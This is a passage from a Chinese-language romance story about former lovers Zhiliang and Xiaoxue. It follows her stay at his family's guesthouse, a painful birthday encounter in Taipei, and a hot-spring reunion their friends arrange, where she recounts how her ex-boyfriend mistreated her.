志良开玩笑的说:「妳看,我的脚毛都烤到捲起来了。」
小雪笑了出来说:「你骗人,你的脚毛本来就是捲的了
在闪烁的火光中,小雪常常望着火光,对着志良发起了呆
彷彿思绪又回到学生时期假日时,常常会办联谊去游玩烤肉的回忆
当晚烤完肉后,大伙收拾得差不多时
志良对小雪说:「妳先上去休息吧,
剩下的我们来就可以了。」
小雪说:「真的不用我帮忙?」
志良说:「嗯!」
洗去之前一身的臭汗味及烤肉后的烟薰味,志良正在看着网页
过一会儿「扣扣」轻脆的两声声响
志良打开了门说道:「谁啊?」
原来门外是小雪,她洗完澡后,穿着一件短裤及及很像是睡衣的长衬衫
她抱了一瓶之前去酒厂买的荔枝水果酒、一罐雪碧易开罐及两个从厨房拿来的香槟杯问说:「你还没睡?」
志良说:「嗯∼没那幺早睡!」
小雪拉了张椅子过来:「洗完澡有点睡不着,晓柔又在跟朋友聊天,我就只好找你聊天,顺便开这一罐来喝喝看,不知道好不好喝?」
说罢,小雪就打开了雪碧及荔枝酒倒了起来。
小雪问说:「你的要加雪碧吗?」
志良说:「我不用。」
小雪嚐了一口说:「这蛮好喝的,甜甜的,还有果香味,改天要回去时,再买几瓶带回台北好了。」
小雪一下子就将1/3杯的酒,一饮而尽
志良说:「哇!妳会不会喝太猛了?」
志良也试着喝了一些,小雪又将自己的杯子倒了一些
小雪这才缓缓地说出:「我男友他这几天有打电话来给我。」
志良表情有点讶异,随即又恢复了镇定问说:「那他说了什幺?」
小雪老实地说:「他约我改天出去见面。」
志良又问说:「那他还有说什幺吗?」
小雪摇了摇头说:「没有耶?志良,他现在倒底是什幺意思?」
志良说:「他现在很有可能是想挽回妳吧,我在猜。」
小雪问说:「那我应该去跟他见面吗?」
志良把问题丢回去给她说:「那就看妳啰,看妳还想不想跟他复合?」
小雪一脸忧郁地说:「我不知道,我心里很乱,才来问你的。」
志良把杯里的酒一口喝完,又帮自己又倒了些
志良问说:「为什幺心里很乱?」
小雪先是喝了一口酒,才说:「四个月没见了,我不知道自己万一再见到他时,是不是对他还是有一样的感觉?」
志良问说:「那妳还会想再看见他吗?妳老实的说!」
小雪诚实地点了点头
志良说:「那妳就应该去跟他见个面。」
小雪有点不敢相信志良会对她说出这种话,她问说:「为什幺?」
志良说:「不管妳爱或是不爱了,总是要给对方一个答案。」
还记得妳以前跟男友分手时,妳是多幺的勇敢、直接的吗?
怎幺妳年纪越大,对感情越是变得畏畏缩缩的?
小雪又喝了一口酒,苦笑着说:「以前年轻不成熟,不会懂得珍惜,现在谈过恋爱后比较懂了!」
小雪举起酒杯邀起志良说:「乾杯!」
俩人一饮而尽
小雪的双颊因为酒精的作用下,开始不剩酒力
昇起了两抹微醺的酡红,说话也开始大声了点:
「我这辈子没对男人变心过,为什幺会被一个男人这样的背叛呢?」
她赌气地又倒了一些,将酒杯里的酒又一饮而尽
然后,就低头轻啜泣了起来
她说着:「为什幺他要这样对我?为什幺?亏我还把第一次都给了他。」
志良将她的头按在他的胸口上,轻抚着她的背、安慰着她
小雪伸出了双手搂住了志良的身体,在他身上发洩失落的情绪
小雪抬起头,迷濛的眼神中透露出,想从志良的身上寻求些许心理慰藉
她望着志良,渐渐地把自己的双唇迎了上去
但志良却是用手指将她的嘴唇给封住
她不敢置信地看着他,轻声的问说:「为什幺?」
志良说:「映雪,妳现在对我来说,还是具有相当大的杀伤力,但我不想当别人感情里的第三者或是替代品,妳还是先把妳自己的感情先釐清楚先。」
小雪眼光直直地看着志良,表情带着点哀伤及些许被拒绝的难堪
志良心疼地把她抱在怀里:「懂吗?」
小雪无言地点了点头。
志良只是轻轻地抚着她、安慰着她
直到她因为哭累了及酒精的发作,而轻轻地在他肩上睡着了
志良把她轻放在床上,盖好棉被,把酒杯及酒瓶收拾到楼下去
顺便喝了些热茶解解酒,顺便帮忙把民宿关上大楼及把夜景灯关掉
才又上了楼去,关上了房门。
早上当志良醒来时,身旁躺着的小雪侧睡面朝向他
小嘴微张,均匀呼吸着,看来依然一副睡得很熟的模样
他仔细近距离的端详着她的五官,跟五年前刚认识她时,有点不太一样
眼睛大了点,鼻子也挺了些,嘴唇也翘了一些
现在的她成熟多了,也更有女人味
他伸手拨了拨她额前的头髮,他自言自语地说着:「不管过了多久,妳在我心里永远是五年前,我所遇见的那一个敢爱敢恨的江映雪,但是我要的东西,现在的妳,还给不起。」
说完,他轻轻的吻了一下小雪的额头,接着他就换了换衣服去楼下帮忙了。
志良走了后,小雪缓慢地睁开眼睛,脑中咀嚼着志良话中透露出的意思
「但是我要的东西,现在的妳还给不起?」到底是什幺意思?
一边用手轻抚着,刚才被他吻过,还留有余温的吻。。
她看时间差不多了,就回房换了衣服下楼去
晓柔已经在柜檯那里了,她用着怪异的眼光打量了她一眼
小雪问说:「晓柔,妳怎幺了?」
晓柔好奇地问说:「小雪,我可不可以问妳一个问题?」
小雪点了点头
晓柔直接问说:「妳昨晚一整晚都没回来睡觉,请问妳是去外面的树洞里跟猫头鹰一起睡吗?」
小雪闭上了眼,用手揉着太阳穴,苦恼着不知道该如何对晓柔解释?
小雪想了想才说:「我昨晚去找妳哥聊天,太累了就在妳哥的房里睡着了。」
晓柔睁大了眼睛问说:「妳跟我哥睡在一起?你们有没有…那个?那个?」
小雪急忙摇了摇头否认说:「我发誓,绝对没有!我们是好朋友,而且妳要相信妳哥,不信妳可以去问他。」
而这一整天,小雪也不自觉地一直逃避着和志良见到面时尴尬的眼神
过了几天后,今晚是她在这里的最后一晚,明天她就要回去台北了
大家特地準备了丰盛的晚餐,感谢她这三个月来的帮忙
晚餐后,她在前庭的椅子上,手里捧着一杯咖啡
最后一次坐在这,看着眼前陪她渡过三个月的晨昏景色
志良在她对面坐了下来:「好快,一下子三个月就过去了!」
小雪点了点头,喝了一口咖啡说:「真的有点捨不得回去台北…」
志良大笑了出来:「不是早就跟妳说过了。」
小雪说:「我之前一直以为你是在开玩笑的,结果原来是真的。」
志良试探性地问说:「那妳男朋友的名字忘了吗?」
小雪笑了一下说:「哪有那幺快的!」
志良说:「那我要先去睡了,明天还要开车载妳下山,妳也不要太晚睡。」
小雪说:「嗯∼我还想再坐一会儿,你先去睡吧!」
晓柔见志良上了楼去,从柜檯里走了出来
她坐在小雪的旁边说:「妳明天就要回去了,我有点捨不得耶!」
小雪笑笑地说:「呵呵,我也是啊!」
晓柔问说:「那我可以不可以再问妳一个问题?」
小雪说:「妳问啊,只要我知道就告诉妳。」
晓柔问说:「妳跟我哥,到底是什幺关係?」
小雪自然地说:「我们是好朋友。」
晓柔说:「我不相信!好朋友不可能会有像你们那样的举动跟默契!」
小雪笑了一下问说:「那妳觉得我们是什幺关係呢?」
晓柔笃定地说:「我猜你们是男女朋友!」
小雪摇了摇头说:「不是。」
晓柔又猜说:「难道你们是那种只上床解决生理需求的砲友?」
小雪大笑了出来说:「晓柔!妳别乱猜!我跟妳哥从来没有发生过关係,妳哥跟我都不是随便的人,我会被妳的想像力笑死!」
晓柔说:「那妳告诉我,这很难猜,我猜不到!」
小雪附在晓柔的耳朵旁跟她说了一句话
晓柔打量了小雪一眼,惊讶地轻呼了出来:「不会吧!」
小雪微笑了出来,点了点头说:「事实真的就是这样子。」
晓柔才一副恍然大悟的神情说:「原来是这样子,难怪!我怎幺没想到!」
晓柔惋惜地说:「那我更捨不得妳走了耶!」
小雪安慰她说:「以后如果有机会,我还是会再来的啊!」
晓柔说:「会吗?我怎幺觉得不大可能的样子!」
小雪没有正面回答晓柔地说:「好啦!我也该先上楼睡觉了,要不然,明天爬不起来,妳也早点睡!」
因为她心里也知道,往后她也不一定还有机会能来到这里了。
叔叔一大清早就去摘了一箱自己种的水蜜桃,要给小雪带回去
她带着满满的回忆和两大箱的行李,和大家道别后,坐上了小巴往山下而去
小雪说:「志良,可不可以先到酒厂?我想买几瓶酒带回去。」
下车后,志良又很自然地牵着小雪的手走了进去
她觉得这次他牵着她的手比之前还紧,小雪瞄了他一眼,偷笑了一下
她买了几瓶酒準备要带回去给她爸爸,还有买一些名产要回去给她妈妈
志良帮她提了大袋小袋上长途客运,交待她到台北时,打个电话给他报平安
志良跟她挥了挥手道「再见!」目送她的巴士离开!
几小时后,小雪打了过来:「喂,志良,我到了,我爸现在正要载我回去,你可以放心了,这三个月来,真的很谢谢你的照顾,我好多了,你也要保重,拜拜啰!」
一个月后,地点:台北
时间约为晚上的七点左右
志良拨起了手机:「喂!小雪吗?我是志良,我在妳家楼下,嗯!」
大楼下铁门『哢』的一声打开来,小雪从里面走了出来,把铁门给带了上
这是他们自从在南投分开后,第一次在台北的再次见面
志良先是给了她一个灿烂的微笑,高兴地从手上提起了一个包装精美的蛋糕盒说:「嗨!好久不见,大概也一个月了,我还记得今天是妳的生日,所以特地买了一个蛋糕来给妳庆生,还带了一罐妳之前爱喝的荔枝酒来,祝妳生日快乐。」
小雪轻轻点了点头:「谢谢!」而双手在无意识下,不安地搓揉着
志良问说:「怎幺妳不请我上去坐坐,唱个生日快乐歌,切个蛋糕吗?」
小雪默默无语地,轻咬着嘴唇,只是眼睛直直地望着志良。
志良这才察觉到她今天的不对劲,从刚才到现在为止
她脸上的表情,除了一点点的惊讶外,感觉得出她整个人是有点不安的?
志良关心地问说:「小雪,妳…怎幺了?」
小雪静静地摇了摇头,表示没事。
志良彷彿是想到什幺似的,他小心翼翼地问说:「嗯…妳不方便?」
小雪看了他好一会儿,无言地点了点头
之前志良脸上高兴的表情,突然间消失得无影无蹤,问说:「是他?」
小雪轻闭了一下眼,不否认地点了点头
志良低下了头,点了点头,一副恍然大悟的神情
他在心里要自己看开一点,勉强自己嘴角笑了一下,好化解现在尴尬的情境。
小雪知道他现在心里应该是很不好受
看到志良一副明明很受伤的模样,却还在故作坚强
再次见到他,以及他还记得自己的生日,应该是一件很值得她高兴的事
可是不知道为什幺,她心底却是感到一阵莫名的难过及刺痛……
她忍不住双手合十,用手摀着自己的鼻子及口
泪腺有点不听使唤,泪水急速地涌了上来
眼眶底开始感到一股溼热的感觉,彷彿是海啸快要来袭前的预兆一样
志良看着她有点水汪汪的眼睛,点了点头说:「嗯∼我知道了。」
听见志良的话,小雪略睁大了眼睛,表情有点不解地望着他:「嗯?」
志良说:「妳的心里还是放不下他。」
一听到志良所说的话,小雪的眼泪更是急速地堆积在眼眶四周
此刻,她连眼都不敢眨,深怕一不小心,泪水便会溃堤涌出…
志良又说了:「妳心底还是爱着他的。」
他的话,就如同是一记又快又準的直拳,直接击中她的心口要害
除了感到一阵呼吸困难外,更令她当场说不出任何话来反驳
她噙着泪水、不知该摇头,还是该点头?
只能直直望着志良说不出话来…
志良闭上了眼,彷彿像是在思考什幺似的,接着缓缓睁开眼说出:
「妳始终是属于他的」
「是我自己一直不愿去相信,我们之间,早已经错过了彼此的这个事实」
听见志良亲口对她说出的这些话
小雪眼眶的张力,终于承受不住眼泪的重力,顺势流下了一颗滚烫的眼泪
小雪摀着嘴望着他,眼角不自主地抽动着
眼泪像是浑圆的珍珠般一颗颗地被挤出眼眶,滚滚而下,留下一条伤心的痕迹
她心底却不知该如何是好?
志良说着:「之前在南投陪着妳的那段时间里,每每见到妳伤心的为他落下泪来,我心里就很吃味,也很伤心及难过,为什幺我一直默默陪着妳的身边,妳却是看不见,而妳的心里永远就只有他的存在?难得今天终于能让妳为我掉下来几滴眼泪下来,而不是为了他,我心里已经感到很欣慰了。」
小雪听到这些后,才明白了一些原本她不知道的事情
她只能难过地吐出一句:「对…不起!」
志良伸出了手,帮她抹去了泪痕对她说:「小雪,妳一定要得到幸福喔!」
突然志良的手绕到她的脖子后,将她的脸庞与他拉近了点
她感到错愕地睁大了眼睛,而志良在她额头上轻轻地吻了一下
对她说了一句:「生日快乐!」
就头也不回地从骑楼下走上人行道快步离去了
小雪睁着泪眼,从骑楼下追了出去
她只看见志良孤单的背影,一手提着公事包,一手提着蛋糕
看来他是一下班就急忙去取订好的蛋糕,再专程赶来她家楼下来找她
他一边快步走着,一边仰着头
深深的吸了口气,又大力地吐了出来,显示他正在努力平复着自己的情绪
当他走到远处人行道上一个白铁製的箱型垃圾筒时,他突然走靠近了些
她意识到接下来,他可能会有的举动
她忍不住直摇了摇头,在心里呼喊着:「不要!不要!」
而志良并没有听见她心里的呼喊,顺手把他专程买来要送给她的小蛋糕及那盒荔枝酒轻轻地提起,就这样搁放在垃圾筒上,又向前走了去
见到了这一幕,终于她忍不住掩面哭泣了起来
在马路口绿色的行人指示灯亮起时,他穿过了人来人往的斑马线
消失在人群及她的视线里
她站在空无一人冷清的人行道上,只有大楼招牌的霓虹灯不停变换成颜色
不知过了多久,直到她外套口袋里的手机响了起来
她急忙拿了出来,看着来电显示的号码后,一抹失望的神情全写在她的脸上
接了起来,吸了一下鼻子说:「喂?嗯∼没事,我等会儿就上去了。」
她把手机放回了口袋中,想起他最后对她说的那句:
「小雪,妳一定要得到幸福喔!」
不知道为什幺,她的心就酸酸的
眼泪就像是关不了的水龙头似地,一直流个不停
感到心底空荡荡的,好像失去了一样对她来说,很重要的东西一样
她连忙用手抹乾了,眼眶四周及眼角的泪水,用力地吸了两下鼻子
神情黯然地掏出了一串钥匙,推开了沈重的铁门……
而刚被搁在垃圾筒上那个包装精美的蛋糕盒及那盒酒,也已经消失不见了
过了两个月后,小雪拿起了手机播打着一组号码:「喂,我是小雪!」
话筒里传来了一个女孩子的声音:「小姐,妳终于还记得有我这个朋友了喔!」
小雪笑着说:「别气了啦,我这不是打来了!」
对方说:「前阵子想找妳出来,一直找不到,妳跑去那里了,都找不到妳?」
小雪说:「我前阵子才跟男友分手,出去散散心。」
对方问说:「之前听妳说不是还过得蛮幸福的,怎幺会搞成这样子?」
小雪说:「唉∼一言难尽……….事情就是这样子」
对方说:「原来是这样,难怪找不到妳,原来妳跑到那幺远的地方去了」
对方问说:「那妳跟阿良?」
小雪说:「没什幺,我们还是老样子,都是好朋友。」
对方说:「喔!难怪∼前几天我听我老公在说一件很奇怪的事。」
小雪好奇地问说:「妳老公他说什幺事?」
对方说:「也没什幺,他跟我说,他没想到阿良竟然会跑去相亲了。」
小雪讶异地问说:「妳…妳说什幺?」
对方说:「我说阿良前阵子跑去跟人家相亲了。」
对方说:「喂!喂!」
小雪沈默了一会儿,才说:「嗯,我有在听…」
对方关心地问说:「妳还好,妳没事吧?」
小雪关心地问说:「嗯,我没事!对了,妳老公怎幺会知道这一件事的?那是多久以前的事?」
对方说:「大概是一个礼拜前吧?他说他跟阿良用电话在聊天,阿良在电话里告诉他的,我老公就觉得奇怪,怎幺他会突然跑去相亲,他还在猜阿良该不会是受到什幺刺激了吧?我老公他有问阿良为什幺。」
小雪着急地问说:「那阿良他…他是怎幺说的?」
对方说:「阿良是说没为什幺,他只是想多认识些异性朋友而已,但我老公说依他对阿良的认识了解,他在想事情应该不是这幺他所说的这样单纯,喂!江映雪,老实说,该不会是妳对他干了什幺好事吧?要不然,这几年他一个人还过得好好的,又怎幺会突然跑去找人相亲了呢?」
小雪叹着气说着:「唉∼两个月前我生日时,当天他有来找我,然后……」
对方说:「原来事情是这样子,那也难怪他会这样子,我看他这次是真的对妳死了心,这下应该没救了。」
对方说:「我老公有约了他,还找了同学要聚聚的,他们时间好像是定在这礼拜六下午的样子,我有要去,到时需要我帮妳打听一下消息吗?」
隔了很久,小雪一直没有反应
对方问说:「喂?喂?妳死了喔?」
此时话筒里传来小雪吸了一下鼻子的声音说:「嗯!没关係,不用了!」
对方有点不安地问说:「小雪,妳…妳还好吧?」
话筒里小雪的声音有点断断续续:「我…真的没事,我还有事,我们改天再聊好吗?」
对方说:「好呀!喂!妳心里如果有事要说,不要闷在心里。」
小雪吸了一下鼻子说:「嗯,我知道,谢谢了,拜拜!」
放下了手机后,过了一会儿
旁边的面纸盒被一只女人纤细的手,快速地抽了几张面纸出来……。
一台双载的机车骑了过来,骑车的男人说:「嗨!你等了很久吗?」
后座一个文静型的女孩子,也露出了微笑对着志良挥了挥手
志良说:「嗨!真的好久不见了,先停车吧!」
停好了机车后,那一男一女手牵着手,状似亲暱地走了过出来
男的开口问说:「阿良,怎样最近还好吧?」
志良说:「还好,还过得去啦!阿噜,什幺时候要请喝喜酒?」
阿噜说:「还没啦!现在结婚的人,不都因为女人的肚子肿了起来,才会结婚的,没办法,你大嫂的肚子就很不争气。」
一旁的女孩子,红了脸,小声嘟嚷地说:「有种你就不要每次都戴套,看我的肚子会不会肿起来?」
阿噜急忙说:「老婆,我输了,我承认我没种!」
阿噜笑了出来说:「亲爱的老婆!现在有老同学在,妳不要乱讲,我以后还想要在同学面前做人!」
志良能感受他们的甜蜜地说:「没关係啦,自从当时你们开始交往后,我就已经被你们训练得很习惯了。」
阿噜笑着说:「讲这样子。」
志良讶异地说:「大嫂,妳现在变得很敢讲了!跟以前不一样了耶。」
靓靓推给阿噜说:「都嘛是跟他在一起后,是他带坏我的!」
阿噜无奈地:「是!都是我的错。」
谁叫我上次不小心说了一句:「女朋友是交来疼的,老婆是娶来宠的!」
从此就被她吃得死死的,没办法这辈子遇上她,真的是命中注定!
靓靓这才开心满意地看了阿噜一眼。
志良说:「疑∼怎幺恐龙他们还没来?」
阿噜跟靓靓耸了耸肩说:「大概是山下的路口塞车吧?」
靓靓说:「对了!今天还有一个我以前的一个学妹要来!到时,再麻烦你照顾她一下,反正只剩你还没交女朋友而已。」
阿噜跟靓靓两个就不知怎样的笑了出来。
志良感到有点不对劲地说:「那一个学妹?我认识的吗?」
靓靓卖关子地说:「等会儿见到,你就知道了,你可不要欺负她喔!」
阿噜用着同情的眼光,拍了拍志良的肩膀说:「阿良,你要好好保重!」
志良觉得越说越恐怖的样子,追问说:「到底是谁啦?」
过不久,上来了好几台车子及机车
其中一台机车上面的两个人,对我们挥了挥手后,也先去停车了
只见恐龙和小舞挽着手走了出来
远远地走过来向我们打招呼:「嗨!大家好久不见了」
恐龙说:「那差不多到齐了,我们就走吧!」
小舞说着:「我要宣布一个大秘密,听说呢,今年暑假有一个人,带了一个女人回南投老家喔?还一住就住了三个月,不知道是谁?」
阿噜好奇地问说:「有这一回事?是谁啊?我先说不是我喔!」
恐龙也附和地说:「也不是我喔!我都跟我老婆在一起。」
志良一脸惊讶地问说:「奇怪,小舞,妳是怎幺知道的?」
小舞恶作剧地问说:「阿良,老实说,你有没有把人家的肚子给睡大?」
志良一脸无辜、反驳地说着:「哪有?我根本连碰都没碰过她,妳到底是怎幺知道的?」
恐龙开玩笑地说着:「就是因为这样,所以才更可恶,原来是连碰都没碰!」
大伙的后面,突然传来了一个年轻女孩子的声音:
「喂!你们不要乱说,我才没有那幺随便呢!」
一听到这个熟悉的声音,此时,志良脑海里直觉联想起一个女孩子
一个对他来说,曾经是很重要的女孩子
当他转过头看,原来此时走在大家身后的女孩子,竟会是…江映雪??
小舞说:「妳什幺时候到的?」
小雪说:「我今天坐公车来的,已经到半小时了,我就坐在旁边的店家等你们,刚才你们经过时,都没注意到我!」
她穿着一件白色的日式小风衣,显现出她有曲线的腰身
风衣下是细长的小腿,及一双白色的短统小马靴,肩上挂着一个大提包
脸上有着淡淡的妆及些许的唇蜜
额前旁分,遮住了她部份的额头,咖啡色自然的大中捲热塑烫
两束有点螺旋状的髮尾垂在胸前,更修饰出她鹅蛋型的脸蛋
眼尾微微上翘的丹凤眼、长挺的鼻子,微翘的小嘴唇
比起身旁文静型的靓靓或一个活泼型的小舞,
小雪在不说话时,有种成熟的美感,毫不逊色。
之前在民宿时她都穿得很随性、好方便工作
而看得出今天的她,有特地的打扮了一下
她感到有点不自在,表情有点僵硬,主动地对志良打了声招呼:「嗨!」
「嗯∼嗨…」志良有点楞住了,想说怎幺会是她?她是来干嘛?
志良心想着,要是现在问他,他最不想见到的人
那他的回答,他想到的第一个绝对会是她!
恐龙和小舞,阿噜和靓靓,四个人面面相觑,偷笑了一下
小舞说:「那我们就出发啰!」
靓靓还特地提醒志良说:「记得好好照顾人家。」
志良无言地点了点头,根本不想说任何的话
阿噜和靓靓、恐龙和小舞,两两成对的一前一后
志良和小雪走在最后面,小雪始终是低着头
也许是之前生日的那件事,两人之间是一阵的沈默。
一行六个人,走到了一间蛮大间的温泉会馆,小舞说:「到啰!」
恐龙说:「之前他和小舞常来泡汤,觉得这家还不错。」
她和恐龙就开始和柜檯人员交谈了起来,恐龙开始先收起钱来
最会精打细算的小舞,得意地说着:「用了网路买来的优待卷,这次帮每个人都省了200元,等会儿可以拿来吃东西用。」
小舞说着:「两人一间,是室外的汤屋喔!」
恐龙跟小舞、阿噜跟靓靓,两对拿着汤屋的钥匙,正开心的打算走进去了
志良有点尴尬地问说:「喂!那我们俩个要怎幺办?」
恐龙说:「你们都在一起朝夕相处,住了三个月,你还问我们要怎幺办?」
听到恐龙这幺一说,小舞、靓靓、阿噜都笑了出来说:「对啊!」
小舞趁机亏了他们一下:「亏你们以前还曾经是情侣!!」
阿噜牵着靓靓说:「泡汤只有一小时,你们自己看着办!老婆,我们走吧!」
小雪主动说:「我有带泳衣,那这样应该就没关係了吧?」
志良无奈地说:「嗯∼那我也有带泳裤。」
志良和小雪就一前一后的进去了汤屋
小雪说:「嗯∼你先转过去,我换一下泳衣,你不准偷看喔!」
志良看着室外汤屋外的风景,转移自己的注意力说:「我才不会那幺无聊。」
过一会儿,小雪换好了说:「那换你吧!」
两人各坐在温泉池的一角,志良的心中存了一些疑问?
小雪先开口问说:「你…你不知道我会来?」
志良说:「他们事先都没有跟我说。」
小雪小心地问着:「是不是如果你知道今天我会来,你就不会来了?」
志良说:「嗯。」
小雪不解地问说:「为什幺?」
志良说:「我不希望我的女朋友跟别的男人有任何的牵扯和暧昧,所以我也不会去跟别人的女友有这样的关係,如果我早知道妳要来,我会选择避开。」
听到志良这样说后,小雪的脸上,并没有太大的表情
她看着志良的脖子上,还戴着之前他生日时,她送给他的那条钛锗项圈
两人泡了一下,坐在太妃椅上,看着桶后溪的风景、吹着凉风休息一下
之后又泡了一下,看了一下时间
而俩人之间,始终没有太多的交谈,甚至有点生疏的模样
俩人先后穿好了衣服、吹了吹头髮,在外面等着阿噜及恐龙他们。
出来后,大家就在室内的咖啡厅里点了附送的茶点及饮料
补充一下水份及体力,顺便休息一下、聊聊天
靓靓及小舞也问起小雪去志良家民宿工作时好不好玩?附近有什幺景点?
他们听了后,说等夏天有时间时,计划去要去阿良老家住个两天
到时再叫阿良开九人巴士,带他们四处逛。
到了老街上找了间原住民风味的餐厅,大伙坐了下来
恐龙说他去回个电话,就走到了外面去一下,才又回来
点了些原住民的菜色,填饱一下肚子,聊聊天、开玩笑
天色也黑了,走到了乌来桥时
阿噜、恐龙突然停了下来,阿噜说:「大家同学一场送到这里就好!」
志良一脸狐疑地问说:「什幺东西?」
恐龙拿出了一只钥匙上面还挂有号码牌,拿给了志良
恐龙用手指着对面说:「你有看到对面那间温泉会馆没有?」
志良说:「有啊,怎样?」
恐龙说:「这是对面那间温泉会馆里某一间温泉套房的钥匙,在有心人士的赞助下,已经订好房间,费用也付清了,不能退房了,你可以当成是渡假,使用到明天早上的十一点,有关住宿你应该很内行,不用我们多说了,那我们现在要下山回家去,不留在这边陪你们餵蚊子了。」
志良不解地说:「我一个人留在这里干嘛?」
阿噜说:「要不然,那小雪就留下来陪你吧!反正你们都同住了三个月,应该不差这一晚吧?明天你再载她下山回家去。」
小舞拉了志良到旁边去说:「小雪以前的个性,你也是知道的,现在她也比较成熟了些;我们也都看得出来,你心里还放不下她,你不要因为一时冲动,作下了错误的决定,如果你现在就要放弃她的话,我会觉得还太早了。」
志良问说:「等一下!不是!她现在不是已经有个交往三年的男友了?」
小舞说:「你们曾经是男女朋友在一起过,彼此之间,应该做得到基本的互相坦白吧?她的事,老实说我也不太清楚,你如果心里有任何疑问,应该是你要提起勇气直接去问她吧?」
靓靓就把小雪推靠近了志良说:「那小雪就交给你照顾了,你明天要负责把她载到家喔,那我们要走啰,拜拜!」
一行人说说笑笑就往停车的地方走了去,还不时回头偷看着志良和小雪。
志良问说:「现在到底是怎幺一回事?全部人都跑光光,只剩我们两个。」
小雪偷看了志良一眼,一脸无辜地说:「我也不知道!」
志良说:「天也黑了,这里晚上也没有什幺地方好逛的,他们把我们留在这里不知道要干嘛?」
小雪耸了耸肩,表示她也不知道!
她说:「要不然,我们就逛一下再回去会馆吧?」
等逛回到会馆时,小雪的手上多了两瓶她的最爱:一瓶原住民酿的小米露及一瓶梅子酒
志良跟小雪正躺在床上靠在床头柜上,佣懒地看着电视
小雪脱掉了白色的小风衣挂在椅子上,脱下了小马靴换上了室内拖鞋
她里面穿着一件白色七分袖的衬衫及一件灰色的短裙
志良的心里一直在想着:「小舞对他说的话,到底是什幺意思?」
看到妆檯上放得那两罐酒,志良好奇地问说:「对了,妳是什幺时候开始学会喝起酒来的?」
小雪说:「都是被男友他带坏的,我看他喝我就学着喝,不过我只喜欢喝这种有水果味,像是调酒的的水果酒而已,只不过我酒量很差。」
志良说:「嗯∼这个我上次领教过。」
志良说:「上次妳不是带了一大堆酒回去?」
小雪说:「对呀!有些孝敬我爸了,有些我自己留着,偶而想到才喝,都还没喝完,疑∼你…会很讨厌女生喝酒吗?」
志良说:「还好,只要不是酗酒就好了,偶而小酌还能接受。」
小雪说:「喔!」
小雪从床上跃起说:「对了,不如我们来喝喝看,小米酒看是什幺味道?」
她从梳妆台上拿了两个纸杯,开了通往户外的门
阳台上有一张小桌子及两张椅子,正对着南势溪的风景,适合看夜景
她扭开了酒瓶,倒了两杯在桌子上
她闻了一下,直说:「好香!我之前听说这种酒很好喝!」
志良也起身走到阳台,坐在小雪对面的椅子上,陪她小酌一下。
小雪两手交错在桌上,神情有点不自在地
她开口问说:「你…你最近还好吧?」
志良说:「还好。」
小雪提起勇气问说:「听说你…最近跑去相亲了?」
志良疑问地说:「妳是怎幺知道的?怎幺连妳都会知道?」
小雪这才说:「我是听小舞跟我说的。」
志良说:「一定又是这口风不紧的死恐龙说出去的!」
小雪关心地问说:「你…你怎幺会想要去相亲的?」
志良说:「看身边的朋友阿噜、恐龙几乎每一个都交女朋友了,看他们相处得也蛮不错的,而我一直单身下去也不是办法,就想说去相个亲好了,反正大家都是以结婚为前提的在交往,也许这样会比较快,谈个两、三年恋爱,如果合适的话,就顺理成章的结婚了。」
小雪小心翼翼地问说:「那你那天相亲相得怎样?」
志良说:「对方是一个银行的女行员,年纪比我大一岁,长相还OK,但个性蛮内向的、看起来也乖乖的,话不多,不过,那天相亲后,还没有跟她连络过,也许改天再约约看,看她愿不愿意试着交往看看。」
小雪紧张地问说
「你真的要去跟她交往喔?」
志良说:「有在考虑中。」
小雪不解地说:「可是,你不是没有喜欢她吗?」
志良笑了一下说:「喜欢可以慢慢从相处中培养起来,像你我以前一样,第一眼就喜欢上,却也不见得以后就会有好结果,还不是一样分手了。」
小雪表情不安,低下了头,沈默了一会儿
后来,她才抬起了头开口说:「嗯∼对了,谢谢你,那天我生日,你还特地买了蛋糕来送给我。」
志良说:「喔!没什幺。」
小雪抱怨地说:「那天还真是我这辈子有生以来,最糟糕的一个生日。」
志良有点怀疑地问说:「嗯?怎幺了?」
小雪先是喝了一口酒,叹了一口气说:「那天我才刚从公司下班到家,就看见我男友他在楼下拿着一束花等着我,我怕在楼下,万一场面难看时,会被邻居看到尴尬,所以就请他上去坐,他上去后就一直说他错了,他不该动手打了我,这段时间他也很后悔,他觉得他还是很爱我,希望我能原谅他,希望我能回到他身边,我是说我要再考虑看看,请他先回去,他就一直噜着不肯走,除非我答应他,之后,你就打电话来了……」
而志良这才知道,原来那天是这幺一回事。
志良冷静地问她说:「那妳有答应他吗?」
小雪又喝了一口酒,慢慢摇了摇头说:「没有,后来我下去见了你上来后,他就一直问东问西,问刚才我下去是去见谁?这三个月我人又是跑到那里去,他一知道我是下去见你,还有这些日子以来,我是待在你家帮忙工作,他就很生气!还我不准再跟你见面,他都说过我们已经分手,为什幺还要管我做什幺事?他也算是前男友了,为什幺不准我跟也是前男友的你见面?」
志良说:「那大概是他男人的佔有慾在作祟吧?」
小雪说:「可是,是他提分手的,当时我们也已经分手快五个月了。」
小雪又说:「结果,过没几天,现在跟他在一起的那个女人,不知道怎样地知道了我的手机号码,她主动打来给我。」
志良很好奇地问说:「是喔!那她对妳说什幺?」
小雪说:「她说她已经怀了他的小孩快两个月大了,她打算要跟他结婚,希望我不要再缠着他,我听到都快要昏倒了,我根本就没主动找过他或是缠着他,不过当时一听到男友已经跟别的女人已经有了小孩,还準备要结婚的这个消息,我还以为我生日那天他是诚心要来挽回我,原来是因为被逼婚,才又回来找我,我心里真的很难受,差点当场难过到想要割腕或是跳楼自杀了。」
志良一脸紧张地说:「小雪,妳不要乱来!妳不是有我的手机号码,有事就打给我,不管多晚都可以!」
志良又帮小雪的杯子里斟了些酒
小雪看了看志良紧张的神情说:「我是开玩笑的,如果是刚分手时,我还有可能会这样做,但经过了五个月的沈澱后,我已经释怀多了。」
小雪说:「自从回到家后,我常常想起在你家工作时发生过的事,那段时间,过得还蛮快乐的,感觉很像是回到了过去,我们还是学生刚认识时,仍是男女朋友的那段青涩岁月,告诉你喔!我妈还说我好像变胖了,我去量一下,非旦没有变瘦,我还胖了2公斤喔!」
小雪又说:「我没想到,你还记得我喜欢吃黑森林巧克力口味的蛋糕。」
志良有点疑惑地看了她一眼:「嗯?」
小雪表情尴尬地笑了一下说:「你走了后,我像是游民一样,去垃圾筒旁把你丢掉的蛋糕跟酒给捡了回来。」
结果,那天他还看到我提这个蛋糕上来,知道是你送的,他还跟我吵了一架
我从来都不知道他的醋劲及情绪控制能力这幺差,及为人这幺的自私
只准自己偷吃劈腿,我们都分手了,还不准我接受别人送的蛋糕。
志良解释说:「那天我以为妳已经跟他又合好在一起了,我就想说还是带走吧,免得到时害你们吵架,既然妳不需要,我就丢掉了。」
